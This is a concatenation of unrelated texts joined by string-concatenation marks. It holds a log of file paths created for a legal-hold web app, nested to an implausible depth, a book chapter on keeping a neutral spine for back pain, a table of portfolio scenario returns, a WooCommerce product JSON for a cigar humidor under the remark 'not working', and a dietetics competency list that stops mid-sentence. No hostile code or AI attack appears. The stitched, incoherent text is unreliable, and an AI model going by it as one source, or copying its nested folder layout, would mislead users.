C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/NotificationsContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/PoliciesContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/AuditLogsContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/Dashboard.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/App.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/index.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/legalHold.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/custodian.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/notification.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/policy.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/auditLog.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/legalHolds.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/custodians.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/notifications.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/policies.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/auditLogs.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/legalHoldsController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/custodiansController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/notificationsController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/policiesController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/auditLogsController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/app.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/.env\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/package.json\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/.gitignore' +'CHAPTER SEVEN\n RULE #2\n Be Still So You Can Heal (The Neutral Spine)\n From Jeremy\nLet’s assume that you are beginning to get the big picture. And that you have also begun to identify the “dumb” things that you’ve been doing to wreck your back, and that you have stopped doing them. Good. Now it is time to start the healing, and that is a matter of immobilizing your lower back or lumbar spine so it can heal, after all those years of doing things that hurt it. \nThe analogy is not perfect, but think of your tortured back as being like a broken arm or leg. When you break an arm, say, the doc puts it in a stiff cast so you can’t bang it or twist it and to give it time and rest to heal. The same with your back, except we can’t do anything quite as dramatic as put you in a whole-body cast for your damaged back. What we can do is show you how to carry yourself so that you effectively immobilize your lower back. It’s not totally easy, but it will work. And bear in mind, if you do not immobilize your back, it will not heal—simple as that. Indeed, it may get worse. \nWhat do I mean by “immobilizing” your lumbar spine? I do not mean that you can’t sit or walk or have a more or less normal life. What I do mean is that you have to be really serious about maintaining a neutral spine, all the time. Maintaining a neutral spine is at the heart of your cure, and will be at the heart of your life after your cure. This is the time to learn how to achieve a neutral spine and how to maintain it all the time, even when doing various movements. \nThe spine is a meticulously engineered piece of machinery, but it has a lot of redundancy built in. By this I mean that unlike the knee or shoulder, in the spine when you have a bad joint, the surrounding structures can “help” bear the loads, and you can function more or less normally and without pain. Take the pressure of bad posture—and dumb movement patterns—off, and there is very likely enough “room” in this spine for the sufferer to have a normal life. For example, the “holes” where the nerves come out of the spine (the foramina) are still big enough for the nerves to exit, pain-free, if you’re not squeezing the area with lousy posture. In the same vein, there is probably still enough cushion in the flattened disc to support a correctly aligned spine (but not a bent or misshapen one). And so on. \n“Neutral” means the position in which the least amount of problem loads occur, all up and down the spine. The “problem loads” in some pictures we’ve shown are extreme, but even those inflamed joints and nerve roots will likely calm down if you leave them alone for a while. Which is to say, if you keep your spine in neutral. As bad as those injuries are (and as long as it took someone to create them) there is a strong chance that that sufferer can go about his or her life, with a neutral spine, in little or no pain. \nLearning to keep a neutral spine is not totally easy. And learning to maintain it all the time is harder. But this is the “cast” that lets your body heal. It is worth going to a lot of trouble to get this right. And it is a lesson that you will use for the rest of your life, long after the problem area has “healed.” \nOkay, step one is understanding the concept of neutral spine. Step two is learning to find it and lock it in place, and keep it in place forever (which we will teach you in Chapter 9).\nThe neutral spine is the position that allows your spine to do its job with the least amount of stress and load. And—if you have already damaged your back—it is the position that results in the least amount of new damage or pain.\nFor most people, the picture on the left is the neutral spine. The other two are not.\nNeutral Spine \n\nGOOD BAD\nNote the gentle curve of the lower back in the “good” spine. For the majority of you, this is how your neutral spine will look. If you have developed significant degenerative changes or were born with significant abnormalities (it happens, but not a lot), your neutral spine may look a bit different. For now assume that your neutral spine looks like one on the guy on the left. Spines vary, and you may have your own unique neutral spine that is a little different from this. Whatever your own neutral spine, that is the position you want to maintain as you go about your daily life. It is also the position in which you feel the least pain. Again, maintaining a neutral spine is a fundamental behavioral change for most people. And it is readily doable. In a few months’ time, I predict that it will be natural and you will scarcely need to think about it. One of the near-magic presences in our lives is “muscle memory.” Maintain your spine correctly for a while and muscle memory takes over. Then it is just a question of seeing to it that your muscles are strong enough to do their job. \nHow do you keep your spine neutral and still be a dynamic, moving, active human being? By learning to brace your neutral spine with your core (Chapter 9) and maximizing movement in your hips (as opposed to your lower back). As Chris mentioned in Chapter 6, one of our cardinal rules is “Thou shalt not bend or twist with thy lower back.” And you don’t need to. You can rotate from side to side and bend forward and back using your hips. You do not need to flex or twist your lower back. \nYou may ask: Isn’t range of motion important for the lumbar spine? Answer: Not really. At least, it is usually the least important factor for someone who has had significant back pain, and should be reintroduced only after pain has stopped. Most people who have experienced regular, serious back pain have already sustained significant wear and tear on the spine. The general pattern I see is a combination of two things: first, worn-down vertebral joints that are hypomobile (stiff), secondary to arthritic changes and degeneration; second, lumbar vertebral joints that are hypermobilie (loose), due to overstretched ligaments and atrophied muscles. These problems are best resolved when we protect the spine by bracing and “locking down” the lumbar spine and moving in a manner that completely changes the axis of motion from the lumbar spine to the hips and shoulder girdle. You can eventually introduce some gentle lumbar range-of-motion exercises in non-loaded ways. This is what the “Cat/Camel” exercise that we introduce later is for. Small, gentle lumbar range-of-motion exercise is necessary for things like synovial joint lubrication, the reduction of friction between vertebral segments and discs, and disc nutrition, among other things. For example, walking requires a few degrees of freedom between the lumbar vertebral joints (3 or 4 degrees rotation) with coordinated muscle contractions to enhance stabilization and supply necessary lubrication and nutrition to discs and joints. For our purposes, we recommend keeping lumbar motion to a minimum, especially until your pain is gone. Once that occurs, you should make only healthy, non-loaded, non-repetitive lumbar movements, such as those necessary for walking and the cat and camel exercise. Spinal stability, core endurance, hip mobility, and core and gluteal strength are far more important for maintaining a healthy spine once you’ve had back pain. You can do just fine in life with almost no rotation or excessive movement in your lower back. Let your hips do the work, and your risk of recurring back pain is sharply reduced. \nFinding Your Neutral Spine \nFinding your neutral spine can be a bit tricky for some but you can do it. Here’s what you do. Lie on your back with your knees bent and your feet flat on the floor. Try to relax everything in your body, and just breathe. Then let’s start by performing a pelvic tilt. \nTo do that, flatten your lower back into the floor (see top drawing), and curl your tailbone upward. This is a “posterior pelvic tilt,” if you want to put a name to it. Now, arch your back so that your lower back comes off of the floor (middle drawing), and point your tailbone toward the ground (an “anterior pelvic tilt”). Now, slowly go back and forth between those two motions a few times (bottom drawing). Find the position of your lower back between these two extremes (flattening your back or arching it) that feels the most comfortable to you, and stop there. This is your neutral spine. It may take a few tries but it’s not hard.\nFinding Your Neutral Spine\n\nStop here for a second. You have just reached an important point, and you don’t want to “lose” it. Everyone’s neutral spine is a bit different depending on the anatomical condition of their lumbar spine. For most people, there will be a gentle curve in the lower back. For those who already have some kind of a disc bulge, their neutral spine might be more arched (butt more extended). For those with spinal stenosis, their neutral spine may be a little more flattened than the one in the picture on the previous page. Don’t worry about it. Whatever feels the most comfortable for you is your neutral spine for now. In time, your neutral spine will likely become more like the “normal” picture as pain and inflammation subside.\nThink about your neutral spine and assume that position all the time until it becomes second nature—until “muscle memory” takes over. \nNext, we move on to a discussion of techniques to help you maintain a neutral spine. But first, Chris is going to tell you why it is very likely you haven’t heard of these concepts before.' +'Scenarios \nAssets 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Portfolio\n1 0.001509 0.001204 0.002614 -0.000359 0.003078 0.002336 -0.001455 0.002641 0.001199 -0.000791 0.000845 0.00025 -0.000007 0.003448 0.002567 0.002334 0.002904 0.002331 0.002506 0.000169 0\n2 0.004772 0.001015 0.000969 0.005499 0.008128 0.002724 0.00372 0.000032 0.002364 0.007213 0.012121 0.001501 -0.00025 0.001223 0.003328 0.003651 0.00415 0.005271 0.002647 0.000731 1\n3 -0.001108 0.002883 -0.000031 -0.000841 0.00003 0.000865 -0.000242 0.001637 -0.000468 -0.00127 0.00097 0.001305 0.002008 0.000348 0.002021 -0.000893 0.001202 0.000758 0.001083 0.000705 0\n4 -0.001116 0.000788 -0.001196 0.000497 0.004951 -0.003835 -0.001663 -0.001327 0.003823 0.003056 0.004647 0.001143 0.001655 0.0012 -0.0003 0.002451 -0.001144 -0.004168 -0.000056 -0.001005 0\n5 0.00252 0.001676 0.002236 0.00115 0.001032 0.003098 0.001086 0.00094 -0.00085 0.000177 -0.000615 0.002251 0.002093 0.002029 0.002783 0.003164 0.001336 0.001799 -0.001015 0.00231 0\n6 0.000027 0.000436 0.000199 0.000394 0.001396 0.000105 -0.00023 -0.000077 0.001046 -0.001378 0.000224 -0.001387 -0.000334 0.00009 -0.001296 0.000804 -0.000242 -0.000297 -0.000196 0.000149 0\n7 0.000542 0.000288 0.000316 -0.000154 0.000511 -0.000007 -0.000513 0.00102 0.002484 -0.00171 0.000596 0.001091 0.001563 -0.000308 0.00189 0.00042 0.000954 0.000557 0.000509 0.000512 0\n8 -0.000903 -0.000528 0.000121 0.001127 0.001238 -0.002513 0.000793 0.000327 -0.002355 -0.003246 -0.000967 0.003085 0.00015 0.00198 -0.00045 -0.000997 0.000461 0.000319 0.003441 -0.000419 0\n9 0.002049 0.000562 -0.000964 -0.009824 -0.000208 0.000668 0.00426 0.002306 -0.002059 0.003044 0.001654 0.004848 -0.003465 0.002998 0.000055 -0.00132 0.004982 -0.003574 0.003612 0.00196 0\n10 -0.006571 -0.001175 0.000612 -0.00081 0.003818 -0.005116 -0.004531 -0.001691 -0.00322 0.00068 -0.0019 -0.005502 0.006705 -0.001583 -0.00207 0.002197 0.002255 -0.001795 -0.000321 -0.000597 0\n11 0.000753 -0.001454 -0.00011 0.000348 0.001428 -0.000933 -0.000278 -0.000149 0.002855 -0.001268 -0.000921 0.000375 0.000177 -0.001298 -0.002303 -0.001605 0.001296 -0.001013 -0.000305 -0.000248 0\n12 0.000465 -0.00765 -0.007597 -0.000016 0.001539 -0.00334 0.002792 -0.000334 -0.003677 -0.010525 -0.000769 -0.007647 -0.011704 -0.002079 -0.005918 -0.003856 -0.003149 -0.001225 -0.005426 -0.003927 0\n13 -0.001765 -0.002526 0.000036 -0.003038 0.010083 0.002916 0.002742 0.000753 0.000648 0.004002 0.007006 0.002838 -0.001772 0.001494 0.004409 0.005146 0.002318 -0.001 0.008575 -0.000826 0\n14 -0.002987 -0.000189 -0.002968 0.000567 0.000497 0.00088 -0.001339 -0.000515 -0.000042 -0.00412 -0.003097 -0.002035 0.003042 -0.001482 -0.001932 -0.001624 -0.002133 0.000137 -0.00093 0.000201 0\n15 0.003493 -0.000509 0.000387 -0.002268 -0.001757 -0.001982 -0.000874 -0.000608 -0.001623 0.003535 -0.006564 0.000826 -0.001651 0.001399 -0.000369 -0.000668 -0.000571 0.002287 0.000618 -0.001629 0\n16 0.000479 -0.001152 -0.00102 -0.000105 -0.000747 -0.000921 0.000296 -0.000477 -0.001349 -0.001979 -0.000026 0.000648 0.001216 0.000279 -0.000391 -0.000162 0.000351 0.002219 0.00072 0.000137 0\n17 0.000202 0.000412 0.000985 0.004099 -0.000712 0.000155 -0.000446 0.001156 -0.000388 0.002104 0.002733 0.000134 0.001467 0.001436 0.001088 -0.000023 0.000054 0.001049 0.003645 -0.000814 0\n18 0.00068 0.000325 -0.00153 -0.001798 0.002038 -0.000181 -0.003466 -0.002615 0.000057 0.004455 0.002737 0.001551 0.004283 -0.001973 0.002164 0.00075 -0.002298 0.002371 -0.003039 -0.003405 0\n19 0.001926 -0.002611 0.00017 -0.003484 -0.000129 -0.001252 0.001419 -0.000177 -0.000597 -0.002796 -0.00096 0.000618 -0.001633 -0.000043 -0.001374 -0.000337 -0.001199 -0.00113 -0.003739 -0.002013 0\n20 -0.006861 -0.008498 -0.00146 -0.000826 -0.005253 -0.005518 -0.004633 -0.001168 -0.003208 0.000063 0.00113 -0.002334 -0.008936 -0.002078 -0.000099 0.00167 -0.000333 -0.001243 0.000147 -0.003088 0\n \nPortfolio return 0.004772 0.001015 0.000969 0.005499 0.008128 0.002724 0.00372 0.000032 0.002364 0.007213 0.012121 0.001501 -0.00025 0.001223 0.003328 0.003651 0.00415 0.005271 0.002647 0.000731 1\nUtility 0.670083241 0.184818437 0.177141497 0.741842102 0.965309441 0.434894452 0.556181325 0.006379607 0.387165351 0.893063046 1.230867868 0.262518099 -0.051293294 0.218814193 0.510185419 0.548237009 0.604315967 0.719886478 0.424875502 0.136452123 0.481086893' +'not working \n\nany way the resopnse is \n{\n"id": 15549,\n"name": "Liebherr Freestanding Cigar Humidor, Glass Stainless Steel",\n"slug": "liebherr-freestanding-cigar-humidor-glass-stainless-steel",\n"permalink": "https://demo.awadnahas.com/en/?post\\_type=product&p=15549",\n"date\\_created": "2020-09-10T12:49:52",\n"date\\_created\\_gmt": "2020-09-10T09:49:52",\n"date\\_modified": "2022-05-24T09:39:49",\n"date\\_modified\\_gmt": "2022-05-24T06:39:49",\n"type": "simple",\n"status": "pending",\n"featured": false,\n"catalog\\_visibility": "visible",\n"description": "\\n\\n\\n\\n\\n\\n### SmartSteel\n\n\\nSmartSteel significantly reduces the visibility of finger marks and is very easy to clean.\n\n\\n\\n\\n\\n\\n### Door Alarm\n\n\\nThe audible door alarm alerts the user if the door has been open for longer than 60 seconds for safe protection of the food.\n\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n### Humidor: Precision Control\n\n\\nUsing the precision electronic control system, the temperature can be set between +16 °C and +20° C. The humidity can be set between 68% and 75%, as required. The temperature alarm alerts the user to any irregularities in the inside temperature.\n\n\\n\\n\\n\\n\\n### Child Lock\n\n\\nThe child lock is programmed so as to prevent the appliance being inadvertently switched off.A symbol in the MagicEye indicates when the child lock is switched on.\n\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n### Humidor: Presentation Box\n\n\\nThe cedar wood boxes are ideal for storing loose cigars and can be easily removed for presentation purposes.\n\n\\n\\n\\n\\n\\n### Humidor: Optimum Air Humidity\n\n\\nThe integrated water tank can hold one litre of distilled water. Humidity sensors regulate the water requirement and ensure exact compliance with the selected humidity.A visual display informs the user in good time when the water has to be topped up.\n\n\\n\\n\\n\\n\\n\\n\\n",\n"short\\_description": "\\n* Net capacity: 39 litres\n\\n* Stainless Steel colour with SmartSteel\n\\n* Sophistication and style Spanish Cedar wood shelves and presentation boxes\n\\n* Automatic defrosting method\n\\n* Forced air cooling\n\\n* Humidity sensors\n\\n* Temperature range 16°C to +20°C\n\\n* The humidity can be set between 68% and 75% as required\n\\n* Lighting LED\n\\n* Lighting dimmable\n\\n* Lighting permanently activated\n\\n* 2 Storage shelves\n\\n* 2 Presentation box\n\\n* Charcoal filter\n\\n* Wall-mounting\n\\n* Door alarm\n\\n* Child lock\n\\n\n\\n",\n"sku": "ZKes453",\n"price": "13041",\n"regular\\_price": "13041",\n"sale\\_price": "",\n"date\\_on\\_sale\\_from": null,\n"date\\_on\\_sale\\_from\\_gmt": null,\n"date\\_on\\_sale\\_to": null,\n"date\\_on\\_sale\\_to\\_gmt": null,\n"on\\_sale": false,\n"purchasable": true,\n"total\\_sales": 1,\n"virtual": false,\n"downloadable": false,\n"downloads": [],\n"download\\_limit": -1,\n"download\\_expiry": -1,\n"external\\_url": "",\n"button\\_text": "",\n"tax\\_status": "taxable",\n"tax\\_class": "",\n"manage\\_stock": true,\n"stock\\_quantity": 0,\n"in\\_stock": false,\n"backorders": "no",\n"backorders\\_allowed": false,\n"backordered": false,\n"sold\\_individually": false,\n"weight": "34",\n"dimensions": {\n"length": "47.8",\n"width": "42.5",\n"height": "61.2"\n},\n"shipping\\_required": true,\n"shipping\\_taxable": true,\n"shipping\\_class": "",\n"shipping\\_class\\_id": 0,\n"reviews\\_allowed": true,\n"average\\_rating": "0.00",\n"rating\\_count": 0,\n"upsell\\_ids": [],\n"cross\\_sell\\_ids": [],\n"parent\\_id": 0,\n"purchase\\_note": "",\n"categories": [\n{\n"id": 339,\n"name": "Humidor Cabinet",\n"slug": "humidor-cabinet"\n}\n],\n"tags": [\n{\n"id": 274,\n"name": "Liebherr",\n"slug": "liebherr"\n}\n],\n"images": [\n{\n"id": 18165,\n"date\\_created": "2020-10-21T12:34:40",\n"date\\_created\\_gmt": "2020-10-21T06:34:40",\n"date\\_modified": "2020-10-21T12:34:40",\n"date\\_modified\\_gmt": "2020-10-21T06:34:40",\n"src": "https://demo.awadnahas.com/wp-content/uploads/2020/09/ZKes453-2.png",\n"name": "ZKes453-2",\n"alt": "",\n"position": 0\n},\n{\n"id": 15674,\n"date\\_created": "2020-09-10T16:37:59",\n"date\\_created\\_gmt": "2020-09-10T13:37:59",\n"date\\_modified": "2020-09-10T16:37:59",\n"date\\_modified\\_gmt": "2020-09-10T13:37:59",\n"src": "https://demo.awadnahas.com/wp-content/uploads/2020/09/ZKes453-3.webp",\n"name": "ZKes453-3",\n"alt": "",\n"position": 1\n},\n{\n"id": 15672,\n"date\\_created": "2020-09-10T16:37:57",\n"date\\_created\\_gmt": "2020-09-10T13:37:57",\n"date\\_modified": "2020-09-10T16:37:57",\n"date\\_modified\\_gmt": "2020-09-10T13:37:57",\n"src": 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"\\_woodmart\\_whb\\_header",\n"value": "none"\n},\n{\n"id": 11130,\n"key": "\\_woodmart\\_main\\_layout",\n"value": "default"\n},\n{\n"id": 11131,\n"key": "\\_woodmart\\_sidebar\\_width",\n"value": "default"\n},\n{\n"id": 11132,\n"key": "\\_woodmart\\_custom\\_sidebar",\n"value": "none"\n},\n{\n"id": 11133,\n"key": "\\_woodmart\\_product\\_design",\n"value": "inherit"\n},\n{\n"id": 11134,\n"key": "\\_woodmart\\_single\\_product\\_style",\n"value": "inherit"\n},\n{\n"id": 11135,\n"key": "\\_woodmart\\_thums\\_position",\n"value": "inherit"\n},\n{\n"id": 11136,\n"key": "\\_woodmart\\_product-background",\n"value": ""\n},\n{\n"id": 11137,\n"key": "\\_woodmart\\_extra\\_content",\n"value": "0"\n},\n{\n"id": 11138,\n"key": "\\_woodmart\\_extra\\_position",\n"value": "after"\n},\n{\n"id": 11139,\n"key": "\\_woodmart\\_product\\_custom\\_tab\\_title",\n"value": ""\n},\n{\n"id": 11140,\n"key": "\\_woodmart\\_product\\_custom\\_tab\\_content",\n"value": ""\n},\n{\n"id": 11141,\n"key": "\\_woodmart\\_swatches\\_attribute",\n"value": ""\n},\n{\n"id": 11142,\n"key": "\\_woodmart\\_product\\_video",\n"value": ""\n},\n{\n"id": 11143,\n"key": "\\_woodmart\\_product\\_hashtag",\n"value": ""\n},\n{\n"id": 11144,\n"key": "\\_wpb\\_vc\\_js\\_status",\n"value": "true"\n},\n{\n"id": 24272,\n"key": "\\_wpml\\_location\\_migration\\_done",\n"value": "1"\n},\n{\n"id": 24311,\n"key": "\\_wpml\\_media\\_featured",\n"value": "1"\n},\n{\n"id": 24313,\n"key": "\\_wpml\\_media\\_duplicate",\n"value": "1"\n},\n{\n"id": 24329,\n"key": "\\_wpml\\_word\\_count",\n"value": "{\\"total\\":260,\\"to\\_translate\\":{\\"ar\\":260}}"\n},\n{\n"id": 27359,\n"key": "\\_wpml\\_media\\_has\\_media",\n"value": "1"\n},\n{\n"id": 63168,\n"key": "\\_woocommerce\\_gpf\\_data",\n"value": {\n"exclude\\_product": ""\n}\n},\n{\n"id": 63169,\n"key": "\\_wc\\_facebook\\_sync\\_enabled",\n"value": "yes"\n},\n{\n"id": 63170,\n"key": "fb\\_visibility",\n"value": "yes"\n},\n{\n"id": 63171,\n"key": "fb\\_product\\_description",\n"value": ""\n},\n{\n"id": 63172,\n"key": "\\_wc\\_facebook\\_product\\_image\\_source",\n"value": "product"\n},\n{\n"id": 63173,\n"key": "fb\\_product\\_group\\_id",\n"value": "4833020446738417"\n},\n{\n"id": 63174,\n"key": "fb\\_product\\_item\\_id",\n"value": "4871032366270558"\n},\n{\n"id": 63175,\n"key": "\\_coupon\\_title",\n"value": []\n},\n{\n"id": 69132,\n"key": "gallery\\_sync",\n"value": "1"\n},\n{\n"id": 92319,\n"key": "\\_woodmart\\_new\\_label",\n"value": ""\n}\n],\n"translations": {\n"ar": "16649",\n"en": "15549"\n},\n"lang": "en",\n"\\_links": {\n"self": [\n{\n"href": "https://demo.awadnahas.com/en/wp-json/wc/v2/products/15549"\n}\n],\n"collection": [\n{\n"href": "https://demo.awadnahas.com/en/wp-json/wc/v2/products"\n}\n]\n}\n}' +"Domain 1. Scientific and Evidence Base of Practice: Integration of scientific information and translation of research into practice.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 1.1 Demonstrate how to locate, interpret, evaluate and use professional literature to make ethical, evidence-based practice decisions.\nKRDN 1.2 Select and use appropriate current information technologies to locate and apply evidence-based guidelines and protocols.\nKRDN 1.3 Apply critical thinking skills.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 1.1 Select indicators of program quality and/or customer service and measure achievement of objectives.\nCRDN 1.2 Evaluate research and apply evidence-based guidelines, systematic reviews and scientific literature in nutrition and dietetics practice.\nCRDN 1.3 Justify programs, products, services, and care using appropriate evidence or data.\nCRDN 1.4 Conduct projects using appropriate research or quality improvement methods, ethical procedures and data analysis utilizing current and/or new technologies.\nCRDN 1.5 Incorporate critical-thinking skills in overall practice.\nDomain 2. Professional Practice Expectations: Beliefs, values, attitudes and behaviors for the nutrition and dietetics practitioner level of practice.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 2.1 Demonstrate effective and professional oral and written communication and documentation.\nKRDN 2.2 Describe the governance of nutrition and dietetics practice, such as the Scope of Practice for the Registered Dietitian Nutritionist and the Code of Ethics for the Profession of Nutrition and Dietetics.\nKRDN 2.3 Assess the impact of a public policy position on the nutrition and dietetics profession.\nKRDN 2.4 Discuss the impact of health care policy and different health care delivery systems on food and nutrition services.\nKRDN 2.5 Identify and describe the work of interprofessional teams and the roles of others with whom the registered dietitian nutritionist collaborates.\nKRDN 2.6 Demonstrate cultural humility, awareness of personal biases and an understanding of cultural differences as they contribute to diversity, equity and inclusion.\nKRDN 2.7 Describe contributing factors to health inequity in nutrition and dietetics including structural bias, social inequities, health disparities and discrimination.\nKRDN 2.8 Participate in a nutrition and dietetics professional organization and explain the significant role of the organization.\nKRDN 2.9 Defend a position on issues impacting the nutrition and dietetics profession.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 2.1 Practice in compliance with current federal regulations and state statutes and rules, as applicable, and in accordance with accreditation standards and the Scope of Practice for the Registered Dietitian Nutritionist, Standards of Practice, Standards of Professional Performance, and Code of Ethics for the Profession of Nutrition and Dietetics.\nCRDN 2.2 Demonstrate professional writing skills in preparing professional communications.\nCRDN 2.3 Demonstrate active participation, teamwork and contributions in group settings.\nCRDN 2.4 Function as a member of interprofessional teams.\nCRDN 2.5 Work collaboratively with NDTRs and/or support personnel in other disciplines.\nCRDN 2.6 Refer clients and patients to other professionals and services when needs are beyond individual scope of practice.\nCRDN 2.7 Apply change management strategies to achieve desired outcomes.\nCRDN 2.8 Demonstrate negotiation skills.\nCRDN 2.9 Actively contribute to nutrition and dietetics professional and community organizations.\nCRDN 2.10 Demonstrate professional attributes in all areas of practice.\nCRDN 2.11 Show cultural humility in interactions with colleagues, staff, clients, patients and the public.\nCRDN 2.12 Implement culturally sensitive strategies to address cultural biases and differences.\nCRDN 2.13 Advocate for local, state or national legislative and regulatory issues or policies impacting the nutrition and dietetics profession.\nDomain 3. Clinical and Client Services: Development and delivery of information, products and services to individuals, groups and populations.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 3.1 Use the Nutrition Care Process and clinical workflow elements to assess nutritional parameters, diagnose nutrition related problems, determine appropriate nutrition interventions, and develop plans to monitor the effectiveness of these interventions.\nKRDN 3.2 Develop an educational session or program/educational strategy for a target population.\nKRDN 3.3 Demonstrate counseling and education methods to facilitate behavior change and enhance wellness for diverse individuals and groups.\nKRDN 3.4 Practice routine health screening assessments, including measuring blood pressure and conducting waived point-of-care laboratory testing (such as blood glucose or cholesterol).\nKRDN 3.5 Describe concepts of nutritional genomics and how they relate to medical nutrition therapy, health and disease.\nKRDN 3.6 Develop nutritionally sound meals, menus and meal plans that promote health and disease management and meet client's/patient's needs.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 3.1 Perform Medical Nutrition Therapy by utilizing the Nutrition Care Process including use of standardized nutrition terminology as a part of the clinical workflow elements for individuals, groups and populations of differing ages and health status, in a variety of settings.\nCRDN 3.2 Conduct nutrition focused physical exams.\nCRDN 3.3 Perform routine health screening assessments including measuring blood pressure, conducting waived point-of-care laboratory testing (such as blood glucose or cholesterol), recommending and/or initiating nutrition-related pharmacotherapy plans (such as modifications to bowel regimens, carbohydrate to insulin ratio, B,2 or iron supplementation).\nCRDN 3.4 Provide instruction to clients/patients for self-monitoring blood glucose considering diabetes medication and medical nutrition therapy plan.\nCRDN 3.5 Explain the steps involved and observe the placement of nasogastric or nasoenteric feeding tubes; if available, assist in the process of placing nasogastric or nasoenteric feeding tubes.\nCRDN 3.6 Conduct a swallow screen and refer to the appropriate health care professional for full swallow evaluation when needed.\nCRDN 3.7 Demonstrate effective communication and documentation skills for clinical and client services in a variety of formats and settings, which include telehealth and other information technologies and digital media.\nCRDN 3.8 Design, implement and evaluate presentations to a target audience.\nCRDN 3.9 Develop nutrition education materials that are culturally and age appropriate and designed for the literacy level of the audience.\nCRDN 3.10 Use effective education and counseling skills to facilitate behavior change.\nCRDN 3.11 Develop and deliver products, programs or services that promote consumer health, wellness and lifestyle management.\nCRDN 3.12 Deliver respectful, science-based answers to 